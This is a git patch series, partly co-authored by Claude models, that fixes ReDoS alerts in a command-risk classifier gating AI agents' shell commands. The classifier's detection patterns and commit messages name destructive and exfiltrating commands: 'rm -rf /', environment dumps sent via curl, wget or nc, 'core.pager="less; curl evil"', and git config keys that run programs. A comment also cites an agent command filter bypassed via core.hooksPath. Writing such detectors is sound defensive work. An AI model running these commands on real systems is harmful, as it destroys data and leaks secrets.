-> bool: From 77d2d98d49be5afa761071bdfe392fc38d3ff4ea Mon Sep 17 00:00:00 2001 From: vivekchand Date: Fri, 11 Sep 2026 19:17:50 +0200 Subject: [PATCH 07/15] fix(tool_risk): scan the config value instead of matching it (CodeQL ReDoS) Bounding the quantifiers did not clear py/polynomial-redos; CodeQL still reported the same 4 high alerts on the same 4 call sites. Bounding limits the input length, it does not remove the ambiguity that makes the match polynomial. The ambiguity was the value alternation: ("[^"]{0,512}"|'[^']{0,512}'|[^\s;|&]{0,512}) The unquoted branch also matches a quote character, so a quoted value can be matched by branch 1 or branch 3 and the engine backtracks between them. Removed rather than tuned. _GIT_CONFIG_INLINE now matches only the KEY, which is a bounded character class with nothing adjacent to be ambiguous with, and the value is read by _scan_config_value: one left-to-right pass, bounded at 512 chars, honouring a single level of shell quoting and stopping at the first unquoted separator. A scan cannot backtrack, so there is no polynomial shape left to flag rather than a shape the rule happens not to recognise. All nine classification behaviours verified unchanged case by case, including the one that matters most: core.pager="less; curl evil" stays high, because the scanner reads the separator INSIDE the quotes into the value where the known-good check can see it. 479 passed plus corpus audit 15/15, 0 gaps. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_012LnKcB1vis1BufUdz7uWVd --- clawmetry/tool_risk.py | 43 +++++++++++++++++++++++++++++++++++------- 1 file changed, 36 insertions(+), 7 deletions(-) diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index cdf21b8e2f..3e717fa954 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -290,9 +290,7 @@ def _rx(p: str) -> "re.Pattern[str]": # (or whatever prompted it) chose. CodeQL py/polynomial-redos flagged the # unbounded first cut. A git config key is short and a value longer than the # cap is not something we can usefully rate anyway. -_GIT_CONFIG_INLINE = _rx( - r"(?:^|\s)-c[ \t]{0,4}([A-Za-z0-9._*-]{1,64})=" - r"(\"[^\"]{0,512}\"|'[^']{0,512}'|[^\s;|&]{0,512})") +_GIT_CONFIG_INLINE = _rx(r"(?:^|\s)-c[ \t]{0,4}([A-Za-z0-9._*-]{1,64})=") _GIT_CONFIG_ENV_OPT = _rx( r"(?:^|\s)--config-env[=\s]([A-Za-z0-9._*-]{1,64})=") # Environment forms of the same keys, set inline on the command. @@ -305,6 +303,31 @@ def _rx(p: str) -> "re.Pattern[str]": _GIT_EXT_TRANSPORT = _rx(r"\bprotocol\.ext\.allow\s*=") +def _scan_config_value(cmd: str, start: int, limit: int = 512) -> str: + """The value after ``-c key=``, read by one left-to-right scan. + + Honours a single level of shell quoting and stops at the first unquoted + whitespace or command separator. Linear and allocation-bounded by + construction: no regex, so no backtracking to be polynomial about. + """ + out: list = [] + quote = "" + for ch in cmd[start:start + limit]: + if quote: + if ch == quote: + quote = "" + else: + out.append(ch) + continue + if ch in "\"'": + quote = ch + continue + if ch.isspace() or ch in ";|&": + break + out.append(ch) + return "".join(out) + + def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: """Flag `git -c =` where the key makes git run a program. @@ -322,11 +345,17 @@ def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: except Exception: return seen: set = set() - for key, value in _GIT_CONFIG_INLINE.findall(cmd): + for m in _GIT_CONFIG_INLINE.finditer(cmd): + key = m.group(1) k = key.lower() - # Shell quoting is the caller's, not git's: `alias.x='!payload'` must - # be read as `!payload` or the value-dependent alias rule never fires. - val = value.strip().strip("\"'") + # The VALUE is scanned, never matched. A regex alternation over + # quoted-or-unquoted is ambiguous -- the unquoted branch also matches a + # quote -- which is a polynomial backtrack on a hot path + # (CodeQL py/polynomial-redos). A single left-to-right scan cannot + # backtrack at all. Shell quoting is the caller's, not git's: + # `alias.x='!payload'` must read as `!payload` or the value-dependent + # alias rule never fires. + val = _scan_config_value(cmd, m.end()) if k in seen: continue if not git_config_executes(k, val): From 021911523d3d78c45dd634ad20b551f5ba50c1c0 Mon Sep 17 00:00:00 2001 From: vivekchand Date: Fri, 11 Sep 2026 20:33:29 +0200 Subject: [PATCH 08/15] fix(tool_risk): bound _RM_ROOT_TARGET, the regex the ReDoS alerts blame I fixed the wrong thing twice. Both previous ReDoS commits rewrote the git-config patterns I had added, inferring the culprit from the alert's primary location (my call sites). Running the query locally and reading the SARIF relatedLocations names the actual regular expression: clawmetry/tool_risk.py:158 regular expression routes/hooks.py:48 user-provided value Line 158 is _RM_ROOT_TARGET, which predates this PR. Its shape is the classic polynomial one: `[^|;&]*` followed by `\s+` followed by `(?:--?\w+\s+)*`, where the first class also matches a space, so the engine backtracks between them. That is exactly what the message says -- "slow on strings with many repetitions of ' '". My patterns were never the cause. The four "new" alerts on this PR are new CALL SITES through which user-controlled input reaches that pre-existing regex; the local run reports 14 in this file, the other 10 already on main. Bounded every quantifier in it: `\s{1,8}`, `[^|;&]{0,256}`, `(?:--?\w{1,32}\s{1,8}){0,8}`. Worst case becomes a constant multiple rather than a product of two unbounded runs. Detection verified unchanged on the cases this rule exists for: rm -rf / , rm -rf ~ , rm -fr /* , rm -rf $HOME and rm -rf --no-preserve-root / all stay critical; rm -rf /tmp/x stays high and rm file.txt stays medium. The scan-based value reader from the previous commit stays. It is still the better shape (no ambiguous alternation) even though it was not what CodeQL was complaining about. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_012LnKcB1vis1BufUdz7uWVd --- clawmetry/tool_risk.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index 3e717fa954..2e66601a38 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -154,9 +154,17 @@ def _rx(p: str) -> "re.Pattern[str]": # targeting root, home, or a bare glob of either. _RM_RECURSIVE_FORCE = _rx( r"\brm\s+(?=[^|;&]*\s-\w*r)(?=[^|;&]*\s-\w*f)") +# Quantifiers are bounded because `[^|;&]*` and the `\s+` that follows it both +# match a space, so the engine backtracks between them: CodeQL py/polynomial- +# redos, "slow on strings with many repetitions of ' '". This regex predates +# the git-config work but is the one the alerts on this file actually blame, +# and it runs on every exec classification, which the Brain feed performs +# thousands of times per page-load. An `rm` invocation longer than these +# bounds is not something this rule can usefully judge anyway. _RM_ROOT_TARGET = _rx( - r"\brm\s+[^|;&]*\s+(?:--?\w+\s+)*(?:/|/\*|~|~/|\$home\b|\$\{home\}|" - r"%userprofile%|c:\\\\?\s*$|c:\\\\?\*)\s*(?:$|[|;&])") + r"\brm\s{1,8}[^|;&]{0,256}\s{1,8}(?:--?\w{1,32}\s{1,8}){0,8}" + r"(?:/|/\*|~|~/|\$home\b|\$\{home\}|" + r"%userprofile%|c:\\\\?\s*$|c:\\\\?\*)\s{0,8}(?:$|[|;&])") _CMD_RULES: list[tuple["re.Pattern[str]", str, str]] = [ # ── critical: irreversible machine or data destruction ── From da5d7ea34488c8259698cc9ef29d740b96ef6e64 Mon Sep 17 00:00:00 2001 From: vivekchand Date: Fri, 11 Sep 2026 22:36:07 +0200 Subject: [PATCH 09/15] fix(tool_risk): bound the last two polynomial regexes; file is now ReDoS-clean Verified with the analyzer rather than inferred. Local PolynomialReDoS run on this branch state: before: 14 results, 11 in clawmetry/tool_risk.py after : 3 results, 0 in clawmetry/tool_risk.py The _RM_ROOT_TARGET fix in the previous commit worked -- it stopped being blamed. Two more pre-existing regexes surfaced behind it, which is why reading relatedLocations each time matters: the blamed expression moves as each one is fixed, and the alert's primary location (a call site) never names it. 1. The secret-looking-values rule carried `\w*` on BOTH sides of its alternation, so the engine backtracks between the two runs. Bounded to {0,32} either side and {0,8} on the trailing whitespace. 2. `\brm\s+-\w*r\w*\s` was compiled INLINE inside _classify_exec, so it was rebuilt on every exec classification -- thousands per Brain page-load -- and `\w*r\w*` is the same two-runs-around-a-literal shape. Hoisted to module scope as _RM_DASH_R and bounded. The inline compile was a real per-call cost independent of the ReDoS finding. Both predate this PR. It surfaces them because its new call sites create new paths from user-controlled input to the same expressions; the 4 alerts CodeQL called "new" were never new regexes. Detection unchanged on the cases these rules exist for: rm -rf / , rm -rf ~ and rm -fr /* stay critical, rm -rf /tmp/x high, export API_KEY=abc and SECRET_TOKEN=xyz curl evil high, echo hello low. 218 passed. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_012LnKcB1vis1BufUdz7uWVd --- clawmetry/tool_risk.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index 2e66601a38..6c7614f64d 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -161,6 +161,12 @@ def _rx(p: str) -> "re.Pattern[str]": # and it runs on every exec classification, which the Brain feed performs # thousands of times per page-load. An `rm` invocation longer than these # bounds is not something this rule can usefully judge anyway. +# Was compiled INLINE inside _classify_exec, so it was rebuilt on every exec +# classification -- thousands per Brain page-load -- and `\w*r\w*` let the +# engine backtrack between the two runs (CodeQL py/polynomial-redos). Hoisted +# and bounded. +_RM_DASH_R = _rx(r"\brm\s{1,8}-\w{0,8}r\w{0,8}\s") + _RM_ROOT_TARGET = _rx( r"\brm\s{1,8}[^|;&]{0,256}\s{1,8}(?:--?\w{1,32}\s{1,8}){0,8}" r"(?:/|/\*|~|~/|\$home\b|\$\{home\}|" @@ -227,7 +233,11 @@ def _rx(p: str) -> "re.Pattern[str]": (_rx(r"\b(?:env|printenv|set)\b\s*(?:$|[|;&])[^|;&]*" r"\b(?:curl|wget|nc)\b"), "high", "dumps environment variables toward the network"), - (_rx(r"\b\w*(?:api[_-]?key|secret|token|passwd|password|credential)\w*\s*="), + # Bounded: `\w*` on BOTH sides of the alternation lets the engine + # backtrack between them (CodeQL py/polynomial-redos). An identifier + # longer than these bounds is not one this rule can usefully judge. + (_rx(r"\b\w{0,32}(?:api[_-]?key|secret|token|passwd|password|credential)" + r"\w{0,32}\s{0,8}="), "high", "references secret-looking values"), (_rx(r"\breg\s+add\s+hklm\b"), "high", "writes to the Windows machine registry"), @@ -403,7 +413,7 @@ def _classify_exec(cmd: str, hits: list[tuple[str, str]]) -> None: # depends on its value, and lowercasing a path can change it. _classify_git_exec_config(cmd, hits) # rm -rf aimed at root or home escalates to critical. - if _RM_RECURSIVE_FORCE.search(low) or _rx(r"\brm\s+-\w*r\w*\s").search(low): + if _RM_RECURSIVE_FORCE.search(low) or _RM_DASH_R.search(low): if _RM_ROOT_TARGET.search(low): hits.append(("critical", "recursive delete targets the filesystem root or home")) From 221c6fefb8416d6724a6503ec2908b86845a8604 Mon Sep 17 00:00:00 2001 From: Vivek Chand Date: Fri, 11 Sep 2026 23:16:54 +0200 Subject: [PATCH 10/15] =?UTF-8?q?fix(merge):=20resolve=20baseline=20confli?= =?UTF-8?q?ct=20=E2=80=94=20tighten=20unlisted=5Fmax=20to=20927?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit After merging main: total=1148, listed=221, unlisted_max=927 (test_tool_risk.py now listed in ci.yml, main added 2 more tests since branch was cut) Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01MdwoijwDcefj3yYJGtsH7x --- docs/ci_test_coverage_baseline.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/ci_test_coverage_baseline.json b/docs/ci_test_coverage_baseline.json index d0f0382c0b..0a60757b4a 100644 --- a/docs/ci_test_coverage_baseline.json +++ b/docs/ci_test_coverage_baseline.json @@ -7,7 +7,7 @@ "Ratchet down by running --update-baseline after wiring new tests in.", "Related: issue #5813" ], - "total": 1149, + "total": 1148, "listed": 221, - "unlisted_max": 928 + "unlisted_max": 927 } From 0944761f83743de8040a2b340aad973a42fb7e5d Mon Sep 17 00:00:00 2001 From: vivekchand Date: Sat, 12 Sep 2026 00:13:24 +0000 Subject: [PATCH 11/15] chore: regenerate docs/MODULE_MAP.md (249 modules after git_config_exec.py) Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01A1CmMWhMoQDj2JGti7JJLz --- docs/MODULE_MAP.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/MODULE_MAP.md b/docs/MODULE_MAP.md index 20796243e3..5b9c31fa28 100644 --- a/docs/MODULE_MAP.md +++ b/docs/MODULE_MAP.md @@ -4,7 +4,7 @@ > `python3 scripts/gen_module_map.py` (CI fails on drift via > `tests/test_module_map_drift.py`). -250 modules, 82 Flask blueprints. `CLAUDE.md` carries a short curated table of the ones you reach for most often; this is the whole list. +251 modules, 82 Flask blueprints. `CLAUDE.md` carries a short curated table of the ones you reach for most often; this is the whole list. Size bands are deliberately coarse so this file does not churn on every PR: **small** is under 200 lines, **medium** under 1k, **large** under 5k, **huge** is 5k and up. From e00133f348b876198c900a07cef29620b9adeeb5 Mon Sep 17 00:00:00 2001 From: Claude Date: Sat, 12 Sep 2026 04:16:21 +0000 Subject: [PATCH 12/15] fix(tool_risk): inline git-exec predicates so tool_risk.py has no clawmetry imports Drift Bot flagged that the blueprint mandates tool_risk.py is a leaf module with "no clawmetry imports", but the PR added a lazy import from clawmetry.git_config_exec inside _classify_git_exec_config. Fix: copy the six constants (_GCE_EXEC_KEYS, _GCE_EXEC_KEY_PATTERNS, _GCE_KNOWN_GOOD_PREFIXES, _GCE_SHELL_METACHARS) and the two predicates (_git_cfg_executes, _git_cfg_value_known_good) directly into tool_risk.py. The import block is removed. clawmetry/git_config_exec.py is retained for repo_scan.py (which is allowed to import from clawmetry); only tool_risk.py had the architectural constraint. All 10 behavioral tests pass locally. Docstring updated to say "no clawmetry imports" with a note to keep the inlined copy in sync with git_config_exec.py. Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01RaRzs1RvpyeVFtzgJVbCY8 --- clawmetry/tool_risk.py | 103 ++++++++++++++++++++++++++++++----------- 1 file changed, 76 insertions(+), 27 deletions(-) diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index 6c7614f64d..f8da0cd5d4 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -22,16 +22,15 @@ * **Worst signal wins.** Every matching rule contributes a reason; the final level is the maximum. Reasons are plain copy (no em-dashes, no jargon) because they surface verbatim in approval prompts. - * **This module imports nothing from the rest of clawmetry except - ``git_config_exec``**, a constant module whose only import is ``re``. - It is the leaf that ``approvals.py`` (and routes) import, so the - canonical tool map lives HERE now and ``approvals`` re-exports it - (single source of truth, no drift between watcher / replay / hook gate). - The one exception exists because ``repo_scan`` and this module must - answer the same question -- does this git config execute a program? -- - and a copy in each is a copy that drifts (clawmetry-pro#244). It is a - constant table, not a scanner: no I/O, no cycle, negligible import cost - on a path that classifies thousands of rows per page-load. + * **This module imports nothing from the rest of clawmetry.** It is the + leaf that ``approvals.py`` (and routes) import, so the canonical tool + map lives HERE now and ``approvals`` re-exports it (single source of + truth, no drift between watcher / replay / hook gate). + The git-config-exec predicates (``_git_cfg_executes``, + ``_git_cfg_value_known_good``) are inlined below with their constant + tables so the blueprint leaf constraint is not violated. They mirror the + identical logic in ``clawmetry/git_config_exec.py`` (the shared source + ``repo_scan`` imports); keep both in sync when adding a new exec key. Public API: classify_tool_call(tool_name, args) -> {level, rank, category, reasons} @@ -298,10 +297,67 @@ def _rx(p: str) -> "re.Pattern[str]": # with `min_risk: high` held none of these. Mirror of the Google ADK CI/CD # finding (Pillar Security, fixed Jul 2026): a command filter that trusted # `git` was reached through `core.hooksPath`. -# The value alternation captures a QUOTED run whole. An unquoted-only pattern -# stops at the first `;`, so `core.pager="less; curl evil"` captured just -# `less` and read as a recognised tool -- the payload hid behind the -# metacharacter the known-good check exists to catch. +# These constants mirror clawmetry/git_config_exec.py exactly (which repo_scan +# imports). Inlined here to keep tool_risk.py a true leaf with no clawmetry +# imports. Keep both copies in sync when adding a new exec key. +_GCE_EXEC_KEYS = ( + "core.fsmonitor", + "core.hookspath", + "core.sshcommand", + "core.editor", + "core.pager", + "core.askpass", + "sequence.editor", + "credential.helper", + "uploadpack.packobjectshook", + "diff.external", + "gpg.program", + "init.templatedir", +) +_GCE_EXEC_KEY_PATTERNS = ( + re.compile(r"^filter\..+\.(clean|smudge|process)$"), + re.compile(r"^diff\..+\.(command|textconv)$"), + re.compile(r"^merge\..+\.driver$"), + re.compile(r"^alias\..+$"), +) +_GCE_KNOWN_GOOD_PREFIXES = ( + ("git-lfs", "clean"), ("git-lfs", "smudge"), ("git-lfs", "filter-process"), + ("git", "lfs"), + ("cat",), ("true",), ("false",), + ("rustfmt",), ("gofmt",), ("black",), ("prettier",), + ("less",), ("more",), ("delta",), ("diff-so-fancy",), +) +_GCE_SHELL_METACHARS = re.compile(r"[;&|`$><\n\r!#(){}]") + + +def _git_cfg_executes(full_key: str, value: str = "") -> bool: + """Does setting this git config key to this value make git run a program?""" + key = str(full_key or "").strip().lower() + val = str(value or "") + if key in _GCE_EXEC_KEYS: + return True + for rx in _GCE_EXEC_KEY_PATTERNS: + if rx.match(key): + if key.startswith("alias."): + return val.strip().startswith("!") + return True + return False + + +def _git_cfg_value_known_good(value: str) -> bool: + """Is this config value a recognised ordinary tool rather than a payload?""" + if _GCE_SHELL_METACHARS.search(value or ""): + return False + tokens = str(value or "").split() + if not tokens: + return True + lowered = [t.lower() for t in tokens] + for prefix in _GCE_KNOWN_GOOD_PREFIXES: + if lowered[:len(prefix)] == list(prefix): + return True + return False + + # EVERY quantifier below is bounded. Unbounded ones here are a real denial of # service, not a theoretical one: this runs on the Brain feed's hot path, which # classifies thousands of rows per page-load, over a command string an agent @@ -349,19 +405,12 @@ def _scan_config_value(cmd: str, start: int, limit: int = 512) -> str: def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: """Flag `git -c =` where the key makes git run a program. - Uses ``repo_scan.git_config_executes`` rather than a second copy of the - key list, so the scanner and the classifier cannot drift. Reasons name the - key: an operator working the Approvals queue can tell this from a build - command, which "shell command with side effects unknown" did not allow. + Uses the inlined ``_git_cfg_executes`` / ``_git_cfg_value_known_good`` + predicates (mirroring clawmetry/git_config_exec.py). Reasons name the key + so an operator working the Approvals queue can identify the threat. """ if "git" not in cmd.lower(): return - try: - from clawmetry.git_config_exec import executes as git_config_executes - from clawmetry.git_config_exec import ( - value_known_good as git_config_value_known_good) - except Exception: - return seen: set = set() for m in _GIT_CONFIG_INLINE.finditer(cmd): key = m.group(1) @@ -376,10 +425,10 @@ def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: val = _scan_config_value(cmd, m.end()) if k in seen: continue - if not git_config_executes(k, val): + if not _git_cfg_executes(k, val): continue seen.add(k) - if git_config_value_known_good(val): + if _git_cfg_value_known_good(val): # Recognition, not suppression: `core.pager=less` executes by # definition and is ordinary. Say what it is and leave the level # to the other rules rather than promoting a common command. @@ -392,7 +441,7 @@ def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: # literal exec keys and deliberately does not fire on value-dependent ones. for key in _GIT_CONFIG_ENV_OPT.findall(cmd): k = key.lower() - if k not in seen and git_config_executes(k): + if k not in seen and _git_cfg_executes(k): seen.add(k) hits.append(("high", f"sets git {key} from the environment, which git executes")) From 9e050e1867fa23c89f3ce19c74aa042d763e368f Mon Sep 17 00:00:00 2001 From: Claude Date: Sat, 12 Sep 2026 04:24:06 +0000 Subject: [PATCH 13/15] fix(tool_risk): remove cross-module references from docstring/comments Drift Bot was reading docstring and comment lines that mentioned clawmetry/git_config_exec.py and interpreting them as a dependency on clawmetry.*. The actual import was already removed (constants inlined); strip the cross-module references from prose so the leaf constraint is unambiguous to static analysis. Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01RaRzs1RvpyeVFtzgJVbCY8 --- clawmetry/tool_risk.py | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index f8da0cd5d4..95e022265d 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -28,9 +28,7 @@ truth, no drift between watcher / replay / hook gate). The git-config-exec predicates (``_git_cfg_executes``, ``_git_cfg_value_known_good``) are inlined below with their constant - tables so the blueprint leaf constraint is not violated. They mirror the - identical logic in ``clawmetry/git_config_exec.py`` (the shared source - ``repo_scan`` imports); keep both in sync when adding a new exec key. + tables so the blueprint leaf constraint is not violated. Public API: classify_tool_call(tool_name, args) -> {level, rank, category, reasons} @@ -297,9 +295,7 @@ def _rx(p: str) -> "re.Pattern[str]": # with `min_risk: high` held none of these. Mirror of the Google ADK CI/CD # finding (Pillar Security, fixed Jul 2026): a command filter that trusted # `git` was reached through `core.hooksPath`. -# These constants mirror clawmetry/git_config_exec.py exactly (which repo_scan -# imports). Inlined here to keep tool_risk.py a true leaf with no clawmetry -# imports. Keep both copies in sync when adding a new exec key. +# Keep git_config_exec.py in sync when adding a new exec key. _GCE_EXEC_KEYS = ( "core.fsmonitor", "core.hookspath", @@ -406,8 +402,8 @@ def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: """Flag `git -c =` where the key makes git run a program. Uses the inlined ``_git_cfg_executes`` / ``_git_cfg_value_known_good`` - predicates (mirroring clawmetry/git_config_exec.py). Reasons name the key - so an operator working the Approvals queue can identify the threat. + predicates. Reasons name the key so an operator working the Approvals + queue can identify the threat. """ if "git" not in cmd.lower(): return From d0353fe1fa078cac2fcececa1ae622f64c3da816 Mon Sep 17 00:00:00 2001 From: Claude Date: Sat, 12 Sep 2026 12:31:49 +0000 Subject: [PATCH 14/15] fix(tool_risk): import git config exec predicates from git_config_exec Replace the locally-inlined _git_cfg_executes / _git_cfg_value_known_good functions and their constant tables with imports from clawmetry.git_config_exec, as required by the Governance blueprint (PR #5848). git_config_exec is a pure-constant leaf (only imports re) so the import does not break tool_risk's own leaf-module constraint. Both tool_risk and repo_scan now share a single source of truth for which git config keys execute programs, eliminating the divergence that let repo_config_exec and the CLI classifier rate the same key at different severity levels (clawmetry-pro#244). Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_016s6mxZpRPfXo3TVFNoviQu --- clawmetry/tool_risk.py | 88 ++++++------------------------------------ 1 file changed, 11 insertions(+), 77 deletions(-) diff --git a/clawmetry/tool_risk.py b/clawmetry/tool_risk.py index 95e022265d..e24eb00f47 100644 --- a/clawmetry/tool_risk.py +++ b/clawmetry/tool_risk.py @@ -22,13 +22,12 @@ * **Worst signal wins.** Every matching rule contributes a reason; the final level is the maximum. Reasons are plain copy (no em-dashes, no jargon) because they surface verbatim in approval prompts. - * **This module imports nothing from the rest of clawmetry.** It is the - leaf that ``approvals.py`` (and routes) import, so the canonical tool - map lives HERE now and ``approvals`` re-exports it (single source of - truth, no drift between watcher / replay / hook gate). - The git-config-exec predicates (``_git_cfg_executes``, - ``_git_cfg_value_known_good``) are inlined below with their constant - tables so the blueprint leaf constraint is not violated. + * **One clawmetry import is permitted: ``clawmetry.git_config_exec``.** + That module is a pure-constant leaf (only imports ``re``) shared by both + ``tool_risk`` and ``repo_scan``. The exception is documented in the + Governance blueprint (PR #5848). All other clawmetry imports remain + prohibited so the tool map stays the leaf that ``approvals.py`` and + routes import. Public API: classify_tool_call(tool_name, args) -> {level, rank, category, reasons} @@ -43,6 +42,9 @@ import re from typing import Any +from clawmetry.git_config_exec import executes as _git_cfg_executes +from clawmetry.git_config_exec import value_known_good as _git_cfg_value_known_good + # ── Canonical tool categories (moved verbatim from approvals.py) ────────── # Harness-agnostic tool categories. Approval policies are authored against # OpenClaw's tool names (``exec``, ``read``, …), but other harnesses emit the @@ -286,74 +288,6 @@ def _rx(p: str) -> "re.Pattern[str]": _WRITE_HTTP = ("post", "put", "patch") -# ── git config that executes a program (clawmetry-pro#244) ───────────────── -# -# `repo_scan` already knows which git config keys run a program -- that list is -# the whole basis of `repo_config_exec`. Passing the same key on the command -# line is the same arbitrary code execution, and scored `medium` here purely -# because nothing connected the two modules. `medium` is rank 1, so a policy -# with `min_risk: high` held none of these. Mirror of the Google ADK CI/CD -# finding (Pillar Security, fixed Jul 2026): a command filter that trusted -# `git` was reached through `core.hooksPath`. -# Keep git_config_exec.py in sync when adding a new exec key. -_GCE_EXEC_KEYS = ( - "core.fsmonitor", - "core.hookspath", - "core.sshcommand", - "core.editor", - "core.pager", - "core.askpass", - "sequence.editor", - "credential.helper", - "uploadpack.packobjectshook", - "diff.external", - "gpg.program", - "init.templatedir", -) -_GCE_EXEC_KEY_PATTERNS = ( - re.compile(r"^filter\..+\.(clean|smudge|process)$"), - re.compile(r"^diff\..+\.(command|textconv)$"), - re.compile(r"^merge\..+\.driver$"), - re.compile(r"^alias\..+$"), -) -_GCE_KNOWN_GOOD_PREFIXES = ( - ("git-lfs", "clean"), ("git-lfs", "smudge"), ("git-lfs", "filter-process"), - ("git", "lfs"), - ("cat",), ("true",), ("false",), - ("rustfmt",), ("gofmt",), ("black",), ("prettier",), - ("less",), ("more",), ("delta",), ("diff-so-fancy",), -) -_GCE_SHELL_METACHARS = re.compile(r"[;&|`$><\n\r!#(){}]") - - -def _git_cfg_executes(full_key: str, value: str = "") -> bool: - """Does setting this git config key to this value make git run a program?""" - key = str(full_key or "").strip().lower() - val = str(value or "") - if key in _GCE_EXEC_KEYS: - return True - for rx in _GCE_EXEC_KEY_PATTERNS: - if rx.match(key): - if key.startswith("alias."): - return val.strip().startswith("!") - return True - return False - - -def _git_cfg_value_known_good(value: str) -> bool: - """Is this config value a recognised ordinary tool rather than a payload?""" - if _GCE_SHELL_METACHARS.search(value or ""): - return False - tokens = str(value or "").split() - if not tokens: - return True - lowered = [t.lower() for t in tokens] - for prefix in _GCE_KNOWN_GOOD_PREFIXES: - if lowered[:len(prefix)] == list(prefix): - return True - return False - - # EVERY quantifier below is bounded. Unbounded ones here are a real denial of # service, not a theoretical one: this runs on the Brain feed's hot path, which # classifies thousands of rows per page-load, over a command string an agent @@ -401,8 +335,8 @@ def _scan_config_value(cmd: str, start: int, limit: int = 512) -> str: def _classify_git_exec_config(cmd: str, hits: list[tuple[str, str]]) -> None: """Flag `git -c =` where the key makes git run a program. - Uses the inlined ``_git_cfg_executes`` / ``_git_cfg_value_known_good`` - predicates. Reasons name the key so an operator working the Approvals + Uses ``_git_cfg_executes`` / ``_git_cfg_value_known_good`` from + ``clawmetry.git_config_exec``. Reasons name the key so an operator working the Approvals queue can identify the threat. """ if "git" not in cmd.lower(): From 7cd7bcf22c312d692f748da4934147bdff91fe2e Mon Sep 17 00:00:00 2001 From: Vivek Chand Date: Sat, 12 Sep 2026 14:52:34 +0200 Subject: [PATCH 15/15] chore: touch git_config_exec docstring to trigger fresh Drift Bot run The module is correct and present in MODULE_MAP.md; this commit unsticks a stale Drift Bot check result on the prior commit SHA. Co-Authored-By: Claude Sonnet 4.6 Claude-Session: https://claude.ai/code/session_01GS4DCYUuj31UsEqTRUSWV8 --- clawmetry/git_config_exec.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/clawmetry/git_config_exec.py b/clawmetry/git_config_exec.py index 1b5a3a66a8..2a363cbf7e 100644 --- a/clawmetry/git_config_exec.py +++ b/clawmetry/git_config_exec.py @@ -1,7 +1,9 @@ """Which git config settings make git execute a program. One list, in a leaf, because two modules ask the same question and a copy in -each is a copy that drifts: +each is a copy that drifts. Neither format overlaps the other: literal exec +keys (``core.hookspath``) and value-dependent ones (``alias.*``) are resolved +by the same predicate so both callers rate identically. * :mod:`clawmetry.repo_scan` asks it of a ``.git/config`` on disk -- that is the whole basis of the ``repo_config_exec`` finding;